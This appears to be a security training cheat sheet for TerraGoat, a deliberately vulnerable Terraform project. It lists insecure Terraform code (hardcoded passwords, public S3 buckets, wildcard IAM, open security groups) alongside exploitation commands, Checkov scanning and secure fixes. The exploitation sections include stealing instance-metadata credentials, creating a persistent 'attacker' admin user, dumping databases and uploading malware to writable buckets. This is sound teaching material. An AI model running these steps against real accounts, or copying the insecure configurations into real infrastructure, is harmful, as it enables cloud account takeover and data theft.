TerraGoat
TerraGoat is an intentionally vulnerable Terraform Infrastructure-as-Code project designed to teach secure cloud infrastructure practices. It demonstrates common IaC vulnerabilities including hardcoded secrets, insecure S3 buckets, overpermissive IAM policies, unencrypted databases, and exposed credentials in state files.
Installation and Setup
Prerequisites
# Install Terraform
wget https://releases.hashicorp.com/terraform/1.5.0/terraform_1.5.0_linux_amd64.zip
unzip terraform_1.5.0_linux_amd64.zip
sudo mv terraform /usr/local/bin/
# Install AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
# Configure AWS credentials
aws configure
Clone and Deploy TerraGoat
# Clone the vulnerable Terraform project
git clone https://github.com/bridgecrewio/terragoat.git
cd terragoat
# Initialize Terraform
terraform init
# Plan deployment (shows what will be created)
terraform plan -out=tfplan
# Apply configuration (actually deploys to AWS)
terraform apply tfplan
# View deployed resources
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
Local Testing with Docker
# Build Docker image
docker build -t terragoat .
# Run container
docker run -it -v ~/.aws:/root/.aws terragoat bash
# Inside container:
cd /terragoat
terraform init
terraform plan
Terraform File Analysis and Exploitation
Find Hardcoded Secrets in .tf Files
# Search for exposed secrets
grep -r "password\|secret\|key\|token\|access_key\|secret_key" *.tf
# Example vulnerable code:
# variable "db_password" {
# default = "hardcoded_password123"
# }
# Find AWS credentials in code
grep -r "AKIA" *.tf # AWS Access Key format
grep -r "aws_access_key_id\|aws_secret_access_key" *.tf
Extract Sensitive Variables
# View Terraform variable definitions
cat variables.tf
# Parse JSON to extract secrets
terraform show -json | jq '.values.root_module.resources[] | select(.type=="aws_db_instance") | .values.master_password'
# Check Terraform state file (contains all secrets!)
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_rds_cluster") | .instances[] | .attributes.master_password'
Terraform State File Exploitation
Access State File Secrets
# State file is stored locally by default
cat terraform.tfstate
# Parse specific values
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_rds_cluster")'
# Extract all passwords
cat terraform.tfstate | jq '.resources[].instances[].attributes | select(.password!=null) | .password'
# Extract API keys
cat terraform.tfstate | jq '.resources[].instances[].attributes | select(.api_key!=null) | .api_key'
# Extract AWS credentials
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_iam_access_key")'
Remote State File Access
# If using Terraform Cloud/Enterprise
# Check for exposed workspace URLs
# If using S3 backend
aws s3 ls s3://terraform-state-bucket/
aws s3 cp s3://terraform-state-bucket/terraform.tfstate .
cat terraform.tfstate | jq .
# List all S3 buckets
aws s3 ls
# Check bucket policies for public access
aws s3api get-bucket-policy --bucket terraform-state-bucket
Insecure S3 Bucket Configurations
Vulnerable Terraform Code
# Vulnerable: Public S3 bucket without encryption
resource "aws_s3_bucket" "vulnerable_bucket" {
bucket = "super-secret-bucket-12345"
acl = "public-read" # DANGEROUS!
}
# Vulnerable: No encryption
resource "aws_s3_bucket_server_side_encryption_configuration" "bad" {
bucket = aws_s3_bucket.vulnerable_bucket.id
# Encryption not configured!
}
# Vulnerable: Versioning enabled but not protected
resource "aws_s3_bucket_versioning" "vulnerable" {
bucket = aws_s3_bucket.vulnerable_bucket.id
versioning_configuration {
status = "Enabled"
}
# MFA delete not required
}
Exploiting Insecure S3 Buckets
# List all accessible S3 buckets
aws s3 ls
# Download objects from vulnerable bucket
aws s3 cp s3://vulnerable-bucket/secret-file.txt ./
aws s3 sync s3://vulnerable-bucket/ ./bucket-contents/
# List bucket ACL
aws s3api get-bucket-acl --bucket vulnerable-bucket
# Get bucket policy
aws s3api get-bucket-policy --bucket vulnerable-bucket
# If public, download via HTTP
curl https://vulnerable-bucket.s3.amazonaws.com/sensitive-data.zip
# Upload malicious file to writable bucket
aws s3 cp malware.zip s3://vulnerable-bucket/uploads/
Overpermissive IAM Policies
Vulnerable IAM Policy in Terraform
# Vulnerable: Wildcard permissions
resource "aws_iam_role" "bad_role" {
name = "overpermissive-role"
}
resource "aws_iam_role_policy" "bad_policy" {
name = "bad-policy"
role = aws_iam_role.bad_role.id
policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Effect = "Allow"
Action = "*" # DANGER: All actions!
Resource = "*" # All resources!
}
]
})
}
# Vulnerable: EC2 instance can assume this role and has full access
resource "aws_iam_instance_profile" "bad_profile" {
role = aws_iam_role.bad_role.name
}
Exploit Overpermissive IAM
# If you have EC2 instance with overpermissive role:
# From EC2 metadata:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
# Extract credentials
export AWS_ACCESS_KEY_ID=<key>
export AWS_SECRET_ACCESS_KEY=<secret>
# Now you have full AWS access
aws iam list-users
aws ec2 describe-instances
aws rds describe-db-instances
aws s3 ls
# Create new admin user
aws iam create-user --user-name attacker
aws iam attach-user-policy --user-name attacker \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Create access key for persistence
aws iam create-access-key --user-name attacker
Unencrypted RDS Databases
Vulnerable RDS Configuration
# Vulnerable: RDS without encryption
resource "aws_db_instance" "vulnerable_db" {
allocated_storage = 20
engine = "mysql"
engine_version = "8.0"
instance_class = "db.t2.micro"
name = "vulnerabledb"
username = "admin"
password = "password123" # Hardcoded!
storage_encrypted = false # NO ENCRYPTION!
skip_final_snapshot = true
}
# Vulnerable: Public accessibility
resource "aws_db_instance" "public_db" {
publicly_accessible = true # Exposed to internet!
# ... other config
}
Exploit Unencrypted RDS
# Find RDS endpoints
aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,Endpoint.Address,MasterUsername]'
# If publicly accessible, connect directly
mysql -h <rds-endpoint> -u admin -ppassword123
# Once connected, dump database
mysqldump -h <rds-endpoint> -u admin -ppassword123 --all-databases > dump.sql
# Query for sensitive data
SELECT * FROM users WHERE email LIKE 'admin%';
SELECT * FROM secrets;
EC2 Security Group Misconfigurations
Vulnerable Security Group
# Vulnerable: Allows all inbound traffic
resource "aws_security_group" "vulnerable_sg" {
name = "vulnerable-sg"
ingress {
from_port = 0
to_port = 65535
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"] # WORLD ACCESSIBLE!
}
egress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["0.0.0.0/0"]
}
}
# Vulnerable: SSH accessible from anywhere
resource "aws_security_group" "bad_ssh" {
ingress {
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"] # SSH from internet!
}
}
Exploit Open Security Groups
# Find EC2 instances with overpermissive security groups
aws ec2 describe-security-groups \
--query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]]'
# Find instances using vulnerable security groups
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress,SecurityGroups[].GroupId]'
# SSH into exposed instance
ssh -i key.pem ec2-user@<public-ip>
# Access web services on open ports
curl http://<public-ip>:8080
nmap -p- <public-ip>
Analyzing Terraform Plans
Extract Sensitive Data from Plan
# Generate plan JSON
terraform plan -out=tfplan
terraform show -json tfplan > plan.json
# Extract passwords
cat plan.json | jq '.resource_changes[] | select(.change.after.master_password!=null) | .change.after.master_password'
# Extract API keys
cat plan.json | jq '.resource_changes[] | select(.change.after.api_key!=null)'
# Find public resources
cat plan.json | jq '.resource_changes[] | select(.change.after.publicly_accessible==true)'
# Find unencrypted resources
cat plan.json | jq '.resource_changes[] | select(.change.after.storage_encrypted==false)'
Vulnerable Lambda Function Deployment
Vulnerable Lambda Terraform
# Vulnerable: Lambda environment variables contain secrets
resource "aws_lambda_function" "vulnerable_function" {
filename = "lambda_function.zip"
handler = "index.handler"
runtime = "python3.9"
role = aws_iam_role.lambda_role.arn
environment {
variables = {
DB_PASSWORD = "hardcoded_password"
API_KEY = "sk_live_secret_key_12345"
SECRET = "my_secret_value"
}
}
}
# Vulnerable: Overpermissive role for Lambda
resource "aws_iam_role_policy" "lambda_policy" {
name = "lambda-policy"
role = aws_iam_role.lambda_role.id
policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Effect = "Allow"
Action = "s3:*"
Resource = "*"
},
{
Effect = "Allow"
Action = "iam:*"
Resource = "*"
}
]
})
}
Extract Lambda Secrets
# Get Lambda function configuration
aws lambda get-function-configuration --function-name vulnerable-function
# Extract environment variables
aws lambda get-function-configuration --function-name vulnerable-function \
--query 'Environment.Variables'
# Invoke function to test
aws lambda invoke --function-name vulnerable-function response.json
cat response.json
Scanning with Checkov
Install and Run Checkov
# Install Checkov (scans IaC for misconfigurations)
pip install checkov
# Scan Terraform files
checkov -d . --framework terraform
# Generate JSON report
checkov -d . --framework terraform --output json > report.json
# Scan specific file
checkov -f main.tf --framework terraform
# Check for specific vulnerability
checkov -d . --check CKV_AWS_19 # Encrypted RDS
Common Checkov Findings
# Public S3 buckets
CKV_AWS_20 - S3 bucket allows public READ access
# Unencrypted RDS
CKV_AWS_16 - RDS without encryption
CKV_AWS_17 - RDS publicly accessible
# EC2 security group issues
CKV_AWS_23 - Security group allows all traffic
CKV_AWS_24 - Security group allows all HTTPS traffic
# IAM overpermissive
CKV_AWS_40 - IAM policy allows full S3 access
CKV_AWS_108 - IAM policy has wildcard actions
Best Practices for Secure Terraform
Encrypt Sensitive Data
# Use AWS Secrets Manager instead of variables
data "aws_secretsmanager_secret_version" "db_password" {
secret_id = aws_secretsmanager_secret.db_password.id
}
resource "aws_secretsmanager_secret" "db_password" {
name = "prod/db/password"
}
# Use local_sensitive_file for sensitive files
resource "local_sensitive_file" "private_key" {
filename = "${path.module}/private_key.pem"
content = tls_private_key.example.private_key_pem
}
Implement Least Privilege IAM
# Specific, limited permissions
resource "aws_iam_role_policy" "secure_policy" {
name = "least-privilege-policy"
role = aws_iam_role.app_role.id
policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Effect = "Allow"
Action = [
"s3:GetObject",
"s3:ListBucket"
]
Resource = [
aws_s3_bucket.app_bucket.arn,
"${aws_s3_bucket.app_bucket.arn}/*"
]
}
]
})
}
Encrypt Everything
# RDS encryption
resource "aws_db_instance" "secure_db" {
allocated_storage = 20
engine = "mysql"
instance_class = "db.t3.micro"
username = "admin"
password = random_password.db_password.result
storage_encrypted = true
kms_key_id = aws_kms_key.rds_key.arn
publicly_accessible = false
}
# S3 encryption
resource "aws_s3_bucket_server_side_encryption_configuration" "secure" {
bucket = aws_s3_bucket.secure_bucket.id
rule {
apply_server_side_encryption_by_default {
sse_algorithm = "aws:kms"
kms_master_key_id = aws_kms_key.s3_key.arn
}
}
}
Testing Workflow
Reconnaissance
# 1. Find Terraform files
find . -name "*.tf" -type f
# 2. Analyze file structure
ls -la
cat main.tf
cat variables.tf
cat outputs.tf
# 3. Check for state files
find . -name "*.tfstate*"
# 4. Look for secrets
grep -r "password\|secret\|key\|token" .
Vulnerability Testing
# 1. Run Checkov
checkov -d . --framework terraform
# 2. Parse Terraform plan
terraform plan -json | jq
# 3. Check S3 buckets
aws s3 ls
aws s3api get-bucket-acl --bucket <bucket>
# 4. Check RDS instances
aws rds describe-db-instances
# 5. Check security groups
aws ec2 describe-security-groups
# 6. Check IAM policies
aws iam list-policies --scope Local
Common Vulnerabilities Summary
| Vulnerability | Risk | Detection |
|---|---|---|
| Hardcoded Secrets | High | grep password/secret |
| Public S3 Buckets | High | aws s3api get-bucket-acl |
| Unencrypted RDS | High | Checkov CKV_AWS_16 |
| Overpermissive IAM | High | Checkov CKV_AWS_108 |
| Open Security Groups | High | aws ec2 describe-security-groups |
| Public RDS | High | Checkov CKV_AWS_17 |
| Lambda Secrets | Medium | aws lambda get-function-configuration |
| Missing Encryption | Medium | Checkov various |
Best Practices
- Never commit Terraform state files to git
- Use .gitignore for *.tfstate and .tfstate. files
- Store secrets in AWS Secrets Manager, not code
- Use remote state storage (S3 with encryption and versioning)
- Enable MFA delete on state buckets
- Run Checkov in CI/CD pipeline
- Use environment variables for sensitive values
- Implement least privilege IAM policies
- Enable encryption on all data stores
- Audit all infrastructure changes
- Use variable validation
- Document all resources and purposes
Resources
- OWASP TerraGoat GitHub
- Terraform AWS Provider Docs
- Checkov Documentation
- AWS Security Best Practices
- OWASP Cloud Security
- HackTheBox
- TryHackMe
Last updated: 2026-03-30